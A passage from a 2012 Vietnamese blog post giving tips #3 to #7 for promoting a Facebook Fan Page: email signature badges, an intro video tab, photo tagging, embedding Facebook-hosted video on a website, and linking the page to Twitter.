Ngoài ra bạn còn có thể yêu cầu webmaster thêm Widget Live Stream đi kèm với Like Box để cập nhật những hoạt động mà bạn đã đưa lên Fan Page của mình, đồng thời cho phép các Fan có thể comment trực tiếp ngay tại Like Box. Điều này sẽ vô hình khiến người dùng web nghĩ rằng bạn là một doanh nghiệp rất năng động và thân thiện. Ai mà lại không thích một con người như thế nhỉ, mặc dù bản chất đó là một công ty.

#3: Dùng email để giới thiệu Fan Page.

Giả sử bạn có một danh sách các email đã thu thập được từ website của công ty mình, vậy thì sao lại không sử dụng nguồn lực quý giá đó chứ. Chúng ta có thể gửi email đến những người dùng tiềm năng ấy với nội dung giới thiệu về fan page mà công ty bạn vừa tạo trên Facebook đồng thời thể hiện mong muốn người nhận email sẽ ghé thăm fan page của mình. Đó sẽ là một lời đề nghị khó cưỡng nổi so với những email quảng bá trực tiếp sản phẩm của công ty bạn. Mình cam đoan với các bạn điều đó.
Trong email giới thiệu về fan page bạn không cần thiết phải dùng những từ hay cụm từ như:” Hãy là Fan của cty ABC”, “Vào viết vài dòng suy nghĩ của bạn lên wall của chúng tôi đi !”….Chỉ cần nhớ đặt một biểu tượng Fan Page Badge vào chữ kí email của mình. Nếu bạn là sếp và không chuyên về IT bạn chỉ cần nhắc marketer của mình rằng:” Nhớ cho thêm biểu tượng Fan Page ( Fan Page Badge) vào chữ kí email nhé” là họ sẽ hiểu ngay. Khi click vào badge, người đọc mail sẽ được đưa thẳng tới fan page.
Badge Signature - Outlook Trong trường hợp, hình ảnh fan page badge không load được tại email của người nhận (do trình duyệt email chặn) thì ta vẫn có cách khác đó là đặt đường link của fan page ở vị trí này. Nếu bạn sợ mình quên đặt fan page badge vào chữ kí mỗi khi gửi mail thì đã có Addd-on Wisestamp và Blank Canvas Gmail Signatures dành cho Fire Fox , cho phép bạn thiết lập mặc định 1 chữ kí. Mỗi khi bạn tạo một email mới, chữ kí mà bạn đã tạo sẽ tự động được thêm vào cuối mail. Các bạn vào bài “Chèn Facebook Badge vào chữ kí của email” để xem hướng dẫn cụ thể nhé.

#4: Tạo một Video lôi cuốn để giới thiệu về Fan Page

Có một nguyên tắc bất di bất dịch thế này, bạn muốn cuốn người xem thì bạn phải quyến rũ. Đa phần khi vào các Page, thứ “đập vào mặt” chúng ta đầu tiên là Wall với những Status, links …dài ngoằng. Bạn nên nhớ ấn tượng đầu tiên là ấn tượng mãi mãi, vì thế chúng ta sẽ khiến những khách đến chơi nhà ấn tượng hơn gấp nhiều lần nếu có thể tự làm một video clip giới thiệu về trang của mình. Các bạn có thể tham khảo page của Steve Spangler, một page có video giới thiệu rất hài hước và lôi cuốn. Bảo đảm sau khi xem xong bạn phải bấm Like ngay.

Đây là một ví dụ mẫu rất đáng học tập phải không mọi người. Cách tạo các tab đa dạng kiểu này đòi hỏi bạn phải dùng đến ngôn ngữ FBML mà nói trắng ra là HTML nhưng được tích hợp với Facebook. Cách làm thế nào mình sẽ mô tả và hướng dẫn các bạn ở phần sau của bài này. À, và các bạn nhớ là nếu có làm trang video này thì phải set cho landing tab của mình là ở tab Video đã tạo nhé. Tức là khi người dùng vào Page của bạn thì tab đầu tiên “đập vào mặt” họ là tab video của bạn.

#5: Kêu gọi Fan tag họ vào photo của bạn

Facebook Photo Tag Trong trường hợp bạn tổ chức một sự kiện nào đó, hãy nhớ chụp thật nhiều ảnh, sau đó upload ảnh lên Fan Page rồi kêu gọi và khuyến khích các fan của mình vào chỉ ra xem họ có mặt ở đâu
trong ảnh bằng cách “tag”. Phương thức này mang lại hai điểm tích cực:

1. Về mặt tâm lý: Fan sẽ cảm thấy mình trở nên quan trọng hơn và biến thành 1 phần của tổ chức hay sản phẩm mà họ yêu mến. Đó chẳng khác gì một hình thức “cam kết” của fan rằng tôi cảm thấy hạnh phúc, tôi sẽ sẽ trung thành luôn hâm mộ sản phẩm dịch vụ ( hoặc tổ chức, công ty ) này. Bạn có thể thấy ngay cả báo Tuổi Trẻ cũng áp dụng hình thức này trong các hoạt động kỉ niệm 35 năm của tờ báo ( tại trang báo giấy) - Bạn có trong ảnh?

 2. Về mặt lan truyền: Mỗi khi các fan tag mình vào ảnh thì thumbnail của tấm ảnh này cũng sẽ xuất hiện tại News Feed của họ, và các bạn của fan cũng sẽ thấy. Một cách lan truyền vô cùng hiệu quả, miễn phí và quan trọng hơn, đó là điều mà các fan tự nguyện làm. Hình ảnh lúc nào cũng có tiếng nói và sinh động hơn kí tự đúng không các bạn ?

 #6: Upload video lên FanPage và Embed tại website của bạn: 

Đây là điều rất đơn giản nhưng dường như có nhiều người lại quên mất và bỏ qua sức mạnh này của Facebook. Hãy Upload video lên Fan Page và embed nó vào website của bạn ! Tại sao thế ? Tại sao lại dùng Facebook mà không dùng Youtube trong trường hợp này ? Câu trả lời đó là hãy để ý khi video của bạn được host trên Facebook và được embed thì tại khung hình video ở góc trái, phía trên, sẽ xuất hiện một đường link đặc biệt:
 Nếu người xem chưa Like Page của bạn đường link sẽ có hình thù thế này: facebook video like button
Như vậy nếu video của bạn ấn tượng và chiếm được trái tim của người xem, họ sẽ có thể bấm Like ngay lập tức. Quá tiện phải không nào ! Còn nếu người xem đã Like Page của bạn thì đường link sẽ dẫn người xem tới trang video tại Fan Page và biết đâu đấy khi họ tìm ra được những thứ thú vị khác, họ sẽ thành fan của bạn lúc nào không hay. Facebook video watermark

 #7: Liên kết FanPage tới Twitter Link your Twitter account .

Đây là cũng là điều mà các chủ xị fan page rất hay quên vì vốn ngó lơ Twitter. Một động tác rất đơn giản, hãy liên kết tài khoản Twiiter với fan page của Facebook để bất cứ hoạt động nào của fan page cũng sẽ được cập nhật lên Twitter. Vậy là bạn đã có thể mở rộng thì tầm ảnh hưởng của Page và có cơ hội thu hút được thêm nhiều fan tiềm năng khác rồi đấy. Bạn có thể lựa chọn những thông tin nào thì được cập nhật lên Twitter

.Facebook to Twitter Tuy nhiên số lượng kí tự tối đa trong Status của Facebook là 420, còn trong Twitter là 140. Vì thế bạn phải cân nhắc trong post thông tin lên ô Status của Facebook. Twiter sẽ chuyển đường link bạn share trên Facebook Page thành một đường link ngắn hơn có dạng như http://bit.ly/bvAivP đồng thời sẽ tỉa gọt số lượng kí tự xuống sao cho vừa đúng 140 kí tự.

 Ngoài ra tại profile và background của Twitter, bạn cũng nên đề cập tới fan page của mình bằng cách kèm theo đường dẫn. Đây là một mẹo nhỏ nhưng cũng có thể tạo được tác động dẫn dắt người dùng đến fan page.

Friday, November 30, 2012